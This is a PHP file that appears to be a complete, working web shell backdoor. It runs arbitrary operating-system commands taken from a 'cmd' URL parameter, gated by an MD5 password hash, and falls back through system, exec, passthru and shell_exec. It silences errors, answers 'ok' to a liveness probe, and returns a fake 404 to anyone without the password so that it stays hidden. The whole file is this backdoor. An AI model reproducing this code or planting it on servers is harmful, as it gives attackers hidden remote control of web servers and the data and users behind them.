<?php

set_time_limit(0);
error_reporting(0);

function exect($cmd)
{
    if (function_exists('system')) {
        @ob_start();
        @system($cmd);
        $exect = @ob_get_contents();
        @ob_end_clean();
        return $exect;
    } elseif (function_exists('exec')) {
        @exec($cmd, $results);
        $exect = "";
        foreach ($results as $result) {
            $exect .= $result;
        }
        return $exect;
    } elseif (function_exists('passthru')) {
        @ob_start();
        @passthru($cmd);
        $exect = @ob_get_contents();
        @ob_end_clean();
        return $exect;
    } elseif (function_exists('shell_exec')) {
        $exect = @shell_exec($cmd);
        return $exect;
    }
}
$password = "cfeb858866c4efb6833630923635736c";
if($password == md5(@$_GET['pwd'])){
    @chdir($_GET['lastpath']);
    echo '<textarea class="txarea" readonly="" style="margin: 0px; height: 100%; width: 1403px;">';
    $cmd = @$_GET['cmd'];
    echo @exect($cmd);
    echo '</textarea>';
}else if(@$_GET['check'] == 'test') {
    echo "ok";
}else{
    header('HTTP/1.1 404 Not Found');
}